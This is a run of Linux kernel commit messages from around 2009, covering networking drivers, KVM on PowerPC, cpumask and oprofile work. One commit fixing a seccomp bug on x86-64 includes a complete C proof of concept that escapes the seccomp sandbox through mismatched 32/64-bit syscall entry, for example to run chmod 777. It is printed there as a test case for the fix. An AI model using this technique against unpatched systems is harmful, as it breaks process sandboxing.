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* git://git.kernel.org/pub/scm/linux/kernel/git/davem/net-next-2.6: (1750 commits)
ixgbe: Allow Priority Flow Control settings to survive a device reset
net: core: remove unneeded include in net/core/utils.c.
e1000e: update version number
e1000e: fix close interrupt race
e1000e: fix loss of multicast packets
e1000e: commonize tx cleanup routine to match e1000 & igb
netfilter: fix nf_logger name in ebt_ulog.
netfilter: fix warning in ebt_ulog init function.
netfilter: fix warning about invalid const usage
e1000: fix close race with interrupt
e1000: cleanup clean_tx_irq routine so that it completely cleans ring
e1000: fix tx hang detect logic and address dma mapping issues
bridge: bad error handling when adding invalid ether address
bonding: select current active slave when enslaving device for mode tlb and alb
gianfar: reallocate skb when headroom is not enough for fcb
Bump release date to 25Mar2009 and version to 0.22
r6040: Fix second PHY address
qeth: fix wait_event_timeout handling
qeth: check for completion of a running recovery
qeth: unregister MAC addresses during recovery.
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Manually fixed up conflicts in:
drivers/infiniband/hw/cxgb3/cxio_hal.h
drivers/infiniband/hw/nes/nes_nic.c
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Conflicts:
drivers/net/wimax/i2400m/usb-notif.c
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So, KVM needs to read tlbcam_index to know exactly
which TLB1 entry is unused by host.
Signed-off-by: Liu Yu <yu.liu@freescale.com>
Acked-by: Kumar Gala <galak@kernel.crashing.org>
Signed-off-by: Hollis Blanchard <hollisb@us.ibm.com>
Signed-off-by: Avi Kivity <avi@redhat.com>
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After the rewrite of KVM's debug support, this code doesn't even build any
more.
Signed-off-by: Hollis Blanchard <hollisb@us.ibm.com>
Signed-off-by: Avi Kivity <avi@redhat.com>
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e500 has additional interrupt vectors (and corresponding IVORs) for SPE and
performance monitoring interrupts.
Signed-off-by: Liu Yu <yu.liu@freescale.com>
Signed-off-by: Hollis Blanchard <hollisb@us.ibm.com>
Signed-off-by: Avi Kivity <avi@redhat.com>
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When itlb or dtlb miss happens, E500 needs to update some mmu registers.
So that the auto-load mechanism can work on E500 when write a tlb entry.
Signed-off-by: Liu Yu <yu.liu@freescale.com>
Signed-off-by: Hollis Blanchard <hollisb@us.ibm.com>
Signed-off-by: Avi Kivity <avi@redhat.com>
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Signed-off-by: Liu Yu <yu.liu@freescale.com>
Signed-off-by: Hollis Blanchard <hollisb@us.ibm.com>
Signed-off-by: Avi Kivity <avi@redhat.com>
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Kernel for E500 need clear dbsr when startup.
So add dbsr register in kvm_vcpu_arch for BOOKE.
Signed-off-by: Liu Yu <yu.liu@freescale.com>
Signed-off-by: Hollis Blanchard <hollisb@us.ibm.com>
Signed-off-by: Avi Kivity <avi@redhat.com>
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e500 will provide its own implementation of these.
Signed-off-by: Hollis Blanchard <hollisb@us.ibm.com>
Signed-off-by: Avi Kivity <avi@redhat.com>
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Signed-off-by: Hollis Blanchard <hollisb@us.ibm.com>
Signed-off-by: Avi Kivity <avi@redhat.com>
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Passing just the TLB index will ease an e500 implementation.
Signed-off-by: Hollis Blanchard <hollisb@us.ibm.com>
Signed-off-by: Avi Kivity <avi@redhat.com>
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Signed-off-by: Hollis Blanchard <hollisb@us.ibm.com>
Signed-off-by: Avi Kivity <avi@redhat.com>
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Signed-off-by: Hollis Blanchard <hollisb@us.ibm.com>
Signed-off-by: Avi Kivity <avi@redhat.com>
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Remove the remaining arch fragments of the old guest debug interface
that now break non-x86 builds.
Signed-off-by: Jan Kiszka <jan.kiszka@siemens.com>
Signed-off-by: Avi Kivity <avi@redhat.com>
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This rips out the support for KVM_DEBUG_GUEST and introduces a new IOCTL
instead: KVM_SET_GUEST_DEBUG. The IOCTL payload consists of a generic
part, controlling the "main switch" and the single-step feature. The
arch specific part adds an x86 interface for intercepting both types of
debug exceptions separately and re-injecting them when the host was not
interested. Moveover, the foundation for guest debugging via debug
registers is layed.
To signal breakpoint events properly back to userland, an arch-specific
data block is now returned along KVM_EXIT_DEBUG. For x86, the arch block
contains the PC, the debug exception, and relevant debug registers to
tell debug events properly apart.
The availability of this new interface is signaled by
KVM_CAP_SET_GUEST_DEBUG. Empty stubs for not yet supported archs are
provided.
Note that both SVM and VTX are supported, but only the latter was tested
yet. Based on the experience with all those VTX corner case, I would be
fairly surprised if SVM will work out of the box.
Signed-off-by: Jan Kiszka <jan.kiszka@siemens.com>
Signed-off-by: Avi Kivity <avi@redhat.com>
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BestComm, a DMA engine in MPC52xx SoC, requires snooping when
CPU caches are enabled to work properly.
Adding CPU_FTR_NEED_COHERENT fixes NFS problems on MPC52xx machines
introduced by 'powerpc/mm: Fix handling of _PAGE_COHERENT in BAT setup
code' (sha1: 4c456a67f501b8b15542c7c21c28812bf88f484b).
Signed-off-by: Piotr Ziecik <kosmo@semihalf.com>
Signed-off-by: Grant Likely <grant.likely@secretlab.ca>
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master.kernel.org:/pub/scm/linux/kernel/git/davem/net-2.6
Conflicts:
drivers/net/tokenring/tmspci.c
drivers/net/ucc_geth_mii.c
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On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with
ljmp, and then use the "syscall" instruction to make a 64-bit system
call. A 64-bit process make a 32-bit system call with int $0x80.
In both these cases under CONFIG_SECCOMP=y, secure_computing() will use
the wrong system call number table. The fix is simple: test TS_COMPAT
instead of TIF_IA32. Here is an example exploit:
/* test case for seccomp circumvention on x86-64
There are two failure modes: compile with -m64 or compile with -m32.
The -m64 case is the worst one, because it does "chmod 777 ." (could
be any chmod call). The -m32 case demonstrates it was able to do
stat(), which can glean information but not harm anything directly.
A buggy kernel will let the test do something, print, and exit 1; a
fixed kernel will make it exit with SIGKILL before it does anything.
*/
#define _GNU_SOURCE
#include <assert.h>
#include <inttypes.h>
#include <stdio.h>
#include <linux/prctl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <asm/unistd.h>
int
main (int argc, char **argv)
{
char buf[100];
static const char dot[] = ".";
long ret;
unsigned st[24];
if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0)
perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?");
#ifdef __x86_64__
assert ((uintptr_t) dot < (1UL << 32));
asm ("int $0x80 # %0 <- %1(%2 %3)"
: "=a" (ret) : "0" (15), "b" (dot), "c" (0777));
ret = snprintf (buf, sizeof buf,
"result %ld (check mode on .!)\n", ret);
#elif defined __i386__
asm (".code32\n"
"pushl %%cs\n"
"pushl $2f\n"
"ljmpl $0x33, $1f\n"
".code64\n"
"1: syscall # %0 <- %1(%2 %3)\n"
"lretl\n"
".code32\n"
"2:"
: "=a" (ret) : "0" (4), "D" (dot), "S" (&st));
if (ret == 0)
ret = snprintf (buf, sizeof buf,
"stat . -> st_uid=%u\n", st[7]);
else
ret = snprintf (buf, sizeof buf, "result %ld\n", ret);
#else
# error "not this one"
#endif
write (1, buf, ret);
syscall (__NR_exit, 1);
return 2;
}
Signed-off-by: Roland McGrath <roland@redhat.com>
[ I don't know if anybody actually uses seccomp, but it's enabled in
at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ]
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
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User space can request hardware and/or software time stamping.
Reporting of the result(s) via a new control message is enabled
separately for each field in the message because some of the
fields may require additional computation and thus cause overhead.
User space can tell the different kinds of time stamps apart
and choose what suits its needs.
When a TX timestamp operation is requested, the TX skb will be cloned
and the clone will be time stamped (in hardware or software) and added
to the socket error queue of the skb, if the skb has a socket
associated with it.
The actual TX timestamp will reach userspace as a RX timestamp on the
cloned packet. If timestamping is requested and no timestamping is
done in the device driver (potentially this may use hardware
timestamping), it will be done in software after the device's
start_hard_xmit routine.
Signed-off-by: Patrick Ohly <patrick.ohly@intel.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
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Fix _PAGE_CHG_MASK so that pte_modify() does not affect the _PAGE_SPECIAL bit.
Signed-off-by: Philippe Gerum <rpm@xenomai.org>
Signed-off-by: Benjamin Herrenschmidt <benh@kernel.crashing.org>
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Push the dma_addr_t type usage all the way down to where the actual
values are manipulated.
Now that u64 is "unsigned long long", this removes warnings like:
arch/powerpc/platforms/ps3/system-bus.c:532: warning: passing argument 4 of 'ps3_dma_map' from incompatible pointer type
arch/powerpc/platforms/ps3/system-bus.c:649: warning: passing argument 4 of 'ps3_dma_map' from incompatible pointer type
Signed-off-by: Stephen Rothwell <sfr@canb.auug.org.au>
Acked-by: Geoff Levand <geoffrey.levand@am.sony.com>
Signed-off-by: Benjamin Herrenschmidt <benh@kernel.crashing.org>
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git://git.kernel.org/pub/scm/linux/kernel/git/benh/powerpc
* 'merge' of git://git.kernel.org/pub/scm/linux/kernel/git/benh/powerpc: (29 commits)
powerpc/83xx: Move mcu_mpc8349emitx driver out of drivers/i2c/chips/
powerpc/83xx: Make serial ports work on MPC8315E-RDB w/ FSL U-Boots
powerpc/e500mc: Doorbells need to be taken w/exceptions disabled
powerpc: Enable PS3 options and QPACE in ppc64_defconfig
powerpc/powermac: Fix occasional SMP boot failure
powerpc/cacheinfo: Rename cache_dir per-cpu variable
hvc_console: Use kzalloc() instead of kmalloc() + memset()
hvc_console: Do not set low_latency when using interrupts
hvc_console: Call free_irq() only if request_irq() was successful
hvc_console: Change an mb() to smp_mb() and add some comments
powerpc: Cleanup from l64 to ll64 change: drivers/net
powerpc: Cleanup from l64 to ll64 change: drivers/char
powerpc: Cleanup from l64 to ll64 change: arch code
powerpc: Change u64/s64 to a long long integer type
powerpc/kexec: Check crash_base for relocatable kernel
powerpc: Make dummy section a valid note header
Xilinx: SPI: updated driver for device tree
drivers/of: Add the of_find_i2c_device_by_node function.
powerpc/xsysace: add compatible string for non-ipcore instance
powerpc/mpc52xx: remove dead code from GPIO driver
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* 'syscalls' of git://git390.osdl.marist.edu/pub/scm/linux-2.6: (44 commits)
[CVE-2009-0029] s390 specific system call wrappers
[CVE-2009-0029] System call wrappers part 33
[CVE-2009-0029] System call wrappers part 32
[CVE-2009-0029] System call wrappers part 31
[CVE-2009-0029] System call wrappers part 30
[CVE-2009-0029] System call wrappers part 29
[CVE-2009-0029] System call wrappers part 28
[CVE-2009-0029] System call wrappers part 27
[CVE-2009-0029] System call wrappers part 26
[CVE-2009-0029] System call wrappers part 25
[CVE-2009-0029] System call wrappers part 24
[CVE-2009-0029] System call wrappers part 23
[CVE-2009-0029] System call wrappers part 22
[CVE-2009-0029] System call wrappers part 21
[CVE-2009-0029] System call wrappers part 20
[CVE-2009-0029] System call wrappers part 19
[CVE-2009-0029] System call wrappers part 18
[CVE-2009-0029] System call wrappers part 17
[CVE-2009-0029] System call wrappers part 16
[CVE-2009-0029] System call wrappers part 15
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Add swab.h to kbuild.asm and remove the individual entries from
each arch, mark as unifdef as some arches have some kernel-only
bits inside.
Signed-off-by: Harvey Harrison <harvey.harrison@gmail.com>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
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This way it matches the generic system call name convention.
Signed-off-by: Heiko Carstens <heiko.carstens@de.ibm.com>
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Convert arch/powerpc/ over to long long based u64:
-#ifdef __powerpc64__
-# include <asm-generic/int-l64.h>
-#else
-# include <asm-generic/int-ll64.h>
-#endif
+#include <asm-generic/int-ll64.h>
This will avoid reoccuring spurious warnings in core kernel code that
comes when people test on their own hardware. (i.e. x86 in ~98% of the
cases) This is what x86 uses and it generally helps keep 64-bit code
32-bit clean too.
[Adjusted to not impact user mode (from paulus) - sfr]
Signed-off-by: Ingo Molnar <mingo@elte.hu>
Signed-off-by: Stephen Rothwell <sfr@canb.auug.org.au>
Signed-off-by: Benjamin Herrenschmidt <benh@kernel.crashing.org>
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git://git.kernel.org/pub/scm/linux/kernel/git/rric/oprofile
* 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/rric/oprofile: (31 commits)
powerpc/oprofile: fix whitespaces in op_model_cell.c
powerpc/oprofile: IBM CELL: add SPU event profiling support
powerpc/oprofile: fix cell/pr_util.h
powerpc/oprofile: IBM CELL: cleanup and restructuring
oprofile: make new cpu buffer functions part of the api
oprofile: remove #ifdef CONFIG_OPROFILE_IBS in non-ibs code
ring_buffer: fix ring_buffer_event_length()
oprofile: use new data sample format for ibs
oprofile: add op_cpu_buffer_get_data()
oprofile: add op_cpu_buffer_add_data()
oprofile: rework implementation of cpu buffer events
oprofile: modify op_cpu_buffer_read_entry()
oprofile: add op_cpu_buffer_write_reserve()
oprofile: rename variables in add_ibs_begin()
oprofile: rename add_sample() in cpu_buffer.c
oprofile: rename variable ibs_allowed to has_ibs in op_model_amd.c
oprofile: making add_sample_entry() inline
oprofile: remove backtrace code for ibs
oprofile: remove unused ibs macro
oprofile: remove unused components in struct oprofile_cpu_buffer
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This patch adds the SPU event based profiling funcitonality for the
IBM Cell processor. Previously, the CELL OProfile kernel code supported
PPU event, PPU cycle profiling and SPU cycle profiling. The addition of
SPU event profiling allows the users to identify where in their SPU code
various SPU evnets are occuring. This should help users further identify
issues with their code. Note, SPU profiling has some limitations due to HW
constraints. Only one event at a time can be used for profiling and SPU event
profiling must be time sliced across all of the SPUs in a node.
The patch adds a new arch specific file to the OProfile file system. The
file has bit 0 set to indicate that the kernel supports SPU event profiling.
The user tool must check this file/bit to make sure the kernel supports
SPU event profiling before trying to do SPU event profiling. The user tool
check is part of the user tool patch for SPU event profiling.
Signed-off-by: Carl Love <carll@us.ibm.com>
Signed-off-by: Robert Richter <robert.richter@amd.com>
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The patch replaces internal registers dump implementation with
ppc_save_regs(). From now on PPC64 and PPC32 are using the same
code for crash_setup_regs().
NOTE: The old regs dump implementation was capturing SP (r1) directly
as is, so you could see crash_kexec() function on top of the back-trace.
But ppc_save_regs() goes up one stack frame, so you'll not see it
anymore, at the top-level you'll see who actually triggered the crash
dump instead.
Signed-off-by: Anton Vorontsov <avorontsov@ru.mvista.com>
Signed-off-by: Benjamin Herrenschmidt <benh@kernel.crashing.org>
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Update ps3vram driver to use the new ps3 three id modalias support.
Signed-off-by: Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>
Signed-off-by: Geoff Levand <geoffrey.levand@am.sony.com>
Signed-off-by: Benjamin Herrenschmidt <benh@kernel.crashing.org>
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Add ps3vram driver, which exposes unused video RAM on the PS3 as a MTD
device suitable for storage or swap. Fast data transfer is achieved
using a local cache in system RAM and DMA transfers via the GPU.
Signed-off-by: Vivien Chappelier <vivien.chappelier@free.fr>
Signed-off-by: Jim Paris <jim@jtan.com>
Acked-by: Geoff Levand <geoffrey.levand@am.sony.com>
Acked-by: David Woodhouse <David.Woodhouse@intel.com>
Signed-off-by: Benjamin Herrenschmidt <benh@kernel.crashing.org>
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So change the flags member of struct spu from u64 to unsigned long.
This change will also prevent some warnings when we change u64 to unsigned
long long.
Signed-off-by: Stephen Rothwell <sfr@canb.auug.org.au>
Acked-by: Arnd Bergmann <arnd@arndb.de>
Signed-off-by: Benjamin Herrenschmidt <benh@kernel.crashing.org>
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These ioctls take a struct serial_rs485
(see linux/serial.h) as argument. They are already available
on x86. This patch adds them for the powerpc architecture.
Signed-off-by: Matthias Fuchs <mfuchs@ma-fu.de>
Signed-off-by: Benjamin Herrenschmidt <benh@kernel.crashing.org>
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Add the UCC_GETH_UPSMR_xxx definitions to qe.h. The ucc_geth driver will
eventually use these instead of the UPSMR_ macros it currently defines.
Signed-off-by: Timur Tabi <timur@freescale.com>
Signed-off-by: Kumar Gala <galak@kernel.crashing.org>
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Signed-off-by: Harvey Harrison <harvey.harrison@gmail.com>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
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The atomic_t type cannot currently be used in some header files because it
would create an include loop with asm/atomic.h. Move the type definition
to linux/types.h to break the loop.
Signed-off-by: Matthew Wilcox <willy@linux.intel.com>
Cc: Huang Ying <ying.huang@intel.com>
Cc: <linux-arch@vger.kernel.org>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
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The KernelPageSize entry in /proc/pid/smaps is the pagesize used by the
kernel to back a VMA. This matches the size used by the MMU in the
majority of cases. However, one counter-example occurs on PPC64 kernels
whereby a kernel using 64K as a base pagesize may still use 4K pages for
the MMU on older processor. To distinguish, this patch reports
MMUPageSize as the pagesize used by the MMU in /proc/pid/smaps.
Signed-off-by: Mel Gorman <mel@csn.ul.ie>
Cc: "KOSAKI Motohiro" <kosaki.motohiro@jp.fujitsu.com>
Cc: Alexey Dobriyan <adobriyan@gmail.com>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
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git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip
* 'cpus4096-for-linus-3' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip: (77 commits)
x86: setup_per_cpu_areas() cleanup
cpumask: fix compile error when CONFIG_NR_CPUS is not defined
cpumask: use alloc_cpumask_var_node where appropriate
cpumask: convert shared_cpu_map in acpi_processor* structs to cpumask_var_t
x86: use cpumask_var_t in acpi/boot.c
x86: cleanup some remaining usages of NR_CPUS where s/b nr_cpu_ids
sched: put back some stack hog changes that were undone in kernel/sched.c
x86: enable cpus display of kernel_max and offlined cpus
ia64: cpumask fix for is_affinity_mask_valid()
cpumask: convert RCU implementations, fix
xtensa: define __fls
mn10300: define __fls
m32r: define __fls
h8300: define __fls
frv: define __fls
cris: define __fls
cpumask: CONFIG_DISABLE_OBSOLETE_CPUMASK_FUNCTIONS
cpumask: zero extra bits in alloc_cpumask_var_node
cpumask: replace for_each_cpu_mask_nr with for_each_cpu in kernel/time/
cpumask: convert mm/
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git://git.kernel.org/pub/scm/linux/kernel/git/rusty/linux-2.6-cpumask into merge-rr-cpumask
Conflicts:
arch/x86/kernel/io_apic.c
kernel/rcuclassic.c
kernel/sched.c
kernel/time/tick-sched.c
Signed-off-by: Mike Travis <travis@sgi.com>
[ mingo@elte.hu: backmerged typo fix for io_apic.c ]
Signed-off-by: Ingo Molnar <mingo@elte.hu>
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git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip
* 'cpus4096-for-linus-2' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip: (66 commits)
x86: export vector_used_by_percpu_irq
x86: use logical apicid in x2apic_cluster's x2apic_cpu_mask_to_apicid_and()
sched: nominate preferred wakeup cpu, fix
x86: fix lguest used_vectors breakage, -v2
x86: fix warning in arch/x86/kernel/io_apic.c
sched: fix warning in kernel/sched.c
sched: move test_sd_parent() to an SMP section of sched.h
sched: add SD_BALANCE_NEWIDLE at MC and CPU level for sched_mc>0
sched: activate active load balancing in new idle cpus
sched: bias task wakeups to preferred semi-idle packages
sched: nominate preferred wakeup cpu
sched: favour lower logical cpu number for sched_mc balance
sched: framework for sched_mc/smt_power_savings=N
sched: convert BALANCE_FOR_xx_POWER to inline functions
x86: use possible_cpus=NUM to extend the possible cpus allowed
x86: fix cpu_mask_to_apicid_and to include cpu_online_mask
x86: update io_apic.c to the new cpumask code
x86: Introduce topology_core_cpumask()/topology_thread_cpumask()
x86: xen: use smp_call_function_many()
x86: use work_on_cpu in x86/kernel/cpu/mcheck/mce_amd_64.c
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Fixed up trivial conflict in kernel/time/tick-sched.c manually
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Impact: New API
The old topology_core_siblings() and topology_thread_siblings() return
a cpumask_t; these new ones return a (const) struct cpumask *.
Signed-off-by: Rusty Russell <rusty@rustcorp.com.au>
Signed-off-by: Mike Travis <travis@sgi.com>
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The only significant changes were to kvmppc_exit_timing_write() and
kvmppc_exit_timing_show(), both of which were dramatically simplified.
Signed-off-by: Hollis Blanchard <hollisb@us.ibm.com>
Signed-off-by: Avi Kivity <avi@redhat.com>
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Existing KVM statistics are either just counters (kvm_stat) reported for
KVM generally or trace based aproaches like kvm_trace.
For KVM on powerpc we had the need to track the timings of the different exit
types. While this could be achieved parsing data created with a kvm_trace
extension this adds too much overhead (at least on embedded PowerPC) slowing
down the workloads we wanted to measure.
Therefore this patch adds a in-kernel exit timing statistic to the powerpc kvm
code. These statistic is available per vm&vcpu under the kvm debugfs directory.
As this statistic is low, but still some overhead it can be enabled via a
.config entry and should be off by default.
Since this patch touched all powerpc kvm_stat code anyway this code is now
merged and simplified together with the exit timing statistic code (still
working with exit timing disabled in .config).
Signed-off-by: Christian Ehrhardt <ehrhardt@linux.vnet.ibm.com>
Signed-off-by: Hollis Blanchard <hollisb@us.ibm.com>
Signed-off-by: Avi Kivity <avi@redhat.com>
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Store shadow TLB entries in memory, but only use it on host context switch
(instead of every guest entry). This improves performance for most workloads on
440 by reducing the guest TLB miss rate.
Signed-off-by: Hollis Blanchard <hollisb@us.ibm.com>
Signed-off-by: Avi Kivity <avi@redhat.com>
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Formerly, we used to maintain a per-vcpu shadow TLB and on every entry to the
guest would load this array into the hardware TLB. This consumed 1280 bytes of
memory (64 entries of 16 bytes plus a struct page pointer each), and also
required some assembly to loop over the array on every entry.
Instead of saving a copy in memory, we can just store shadow mappings directly
into the hardware TLB, accepting that the host kernel will clobber these as
part of the normal 440 TLB round robin. When we do that we need less than half
the memory, and we have decreased the exit handling time for all guest exits,
at the cost of increased number of TLB misses because the host overwrites some
guest entries.
These savings will be increased on processors with larger TLBs or which
implement intelligent flush instructions like tlbivax (which will avoid the
need to walk arrays in software).
In addition to that and to the code simplification, we have a greater chance of
leaving other host userspace mappings in the TLB, instead of forcing all
subsequent tasks to re-fault all their mappings.
Signed-off-by: Hollis Blanchard <hollisb@us.ibm.com>
Signed-off-by: Avi Kivity <avi@redhat.com>
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KVM currently ignores the host's round robin TLB eviction selection, instead
maintaining its own TLB state and its own round robin index. However, by
participating in the normal 44x TLB selection, we can drop the alternate TLB
processing in KVM. This results in a significant performance improvement,
since that processing currently must be done on *every* guest exit.
Accordingly, KVM needs to be able to access and increment tlb_44x_index.
(KVM on 440 cannot be a module, so there is no need to export this symbol.)
Signed-off-by: Hollis Blanchard <hollisb@us.ibm.com>
Acked-by: Josh Boyer <jwboyer@linux.vnet.ibm.com>
Signed-off-by: Avi Kivity <avi@redhat.com>
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